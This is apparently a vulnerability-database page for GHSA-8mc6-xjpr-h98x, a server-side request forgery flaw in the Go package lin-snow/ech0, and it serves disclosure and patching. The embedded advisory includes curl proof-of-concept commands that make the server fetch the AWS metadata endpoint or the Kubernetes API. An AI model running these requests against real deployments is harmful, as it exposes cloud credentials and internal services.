GHSA-8mc6-xjpr-h98x: Github.com/lin snow/ech0 Ech0 Has Server-Side Request Forgery Vulnerability
HIGHGHSA-8mc6-xjpr-h98x is a HIGH (CVSS 7.7) ech0 has server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/lin snow/ech0 libraries in the Go ecosystem. The issue involves ech0 has server-side request forgery (ssrf) via connect handler fetchpeerconnectinfo. Remediation is available by upgrading affected packages to version 1.4.8-0.20260503040602-091d26d2d942.
GHSA-8mc6-xjpr-h98x at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix GHSA-8mc6-xjpr-h98x
To remediate this vulnerability, upgrade all affected Github.com/lin snow/ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lin-snow/ech0 to 1.4.8-0.20260503040602-091d26d2d942
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lin-snow/ech0
How to Check if You Are Affected
To determine whether your application is affected by GHSA-8mc6-xjpr-h98x, inspect your project dependencies for Github.com/lin snow/ech0:
inspect dependencies for github.com/lin-snow/ech0
Analyze the terminal output to locate any version of Github.com/lin snow/ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.8-0.20260503040602-091d26d2d942), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/lin snow/ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-8mc6-xjpr-h98x Affected Github.com/lin snow/ech0 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lin-snow/ech0
|
Go |
< 1.4.8-0.20260503040602-091d26d2d942
|
1.4.8-0.20260503040602-091d26d2d942
|
References
Frequently Asked Questions
What is GHSA-8mc6-xjpr-h98x?
Which Github.com/lin snow/ech0 versions are affected?
What version fixes GHSA-8mc6-xjpr-h98x?
Is github.com/lin-snow/ech0 affected?
What is the CVSS score of GHSA-8mc6-xjpr-h98x?
What CWE is associated with GHSA-8mc6-xjpr-h98x?
How can I check Go dependencies for GHSA-8mc6-xjpr-h98x?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8mc6-xjpr-h98x",
"modified" : "2026-05-07T21:28:40Z",
"published" : "2026-05-07T21:28:40Z",
"aliases" : [ ],
"summary" : "Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo",
"details" : "## Summary\nThe `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.\n\n## Details\nIn `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function:\n```go\nfunc fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {\n url := httpUtil.TrimURL(peerConnectURL) + \"/api/connect\"\n resp, err := httpUtil.SendRequest(url, \"GET\", struct {...}{...}, requestTimeout)\n```\n\nThis uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it.\n\nCalled from:\n- Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)`\n- - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)`\n## PoC\n```bash\n# 1. Add a connection pointing to AWS metadata service\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n -H \"Authorization: Bearer <token>\" \\\n -d '{\"connect_url\": \"http://169.254.169.254/latest/meta-data/instance-id\"}'\n\n# 2. Trigger SSRF via health check\ncurl -H \"Authorization: Bearer <token>\" \\\n \"https://ech0.example.com/api/connects/health\"\n# Returns AWS EC2 instance ID\n```\n\nOr for Kubernetes:\n```bash\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n -H \"Authorization: Bearer <token>\" \\\n -d '{\"connect_url\": \"http://kubernetes.default.svc.cluster.local:443/api\"}'\n```\n\n## Impact\n- **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API\n- - **CWE-918**: Server-Side Request Forgery",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lin-snow/ech0"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.4.8-0.20260503040602-091d26d2d942"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-8mc6-xjpr-h98x"
}, {
"type" : "WEB",
"url" : "https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lin-snow/Ech0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T21:28:40Z",
"nvd_published_at" : null
}
}